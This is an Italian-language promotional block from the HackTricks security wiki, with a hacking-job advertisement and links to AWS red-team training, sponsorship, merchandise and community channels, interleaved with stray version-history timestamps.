<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-05 20:00:40 +00:00
Se sei interessato a una **carriera nel hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-01 17:15:10 +00:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>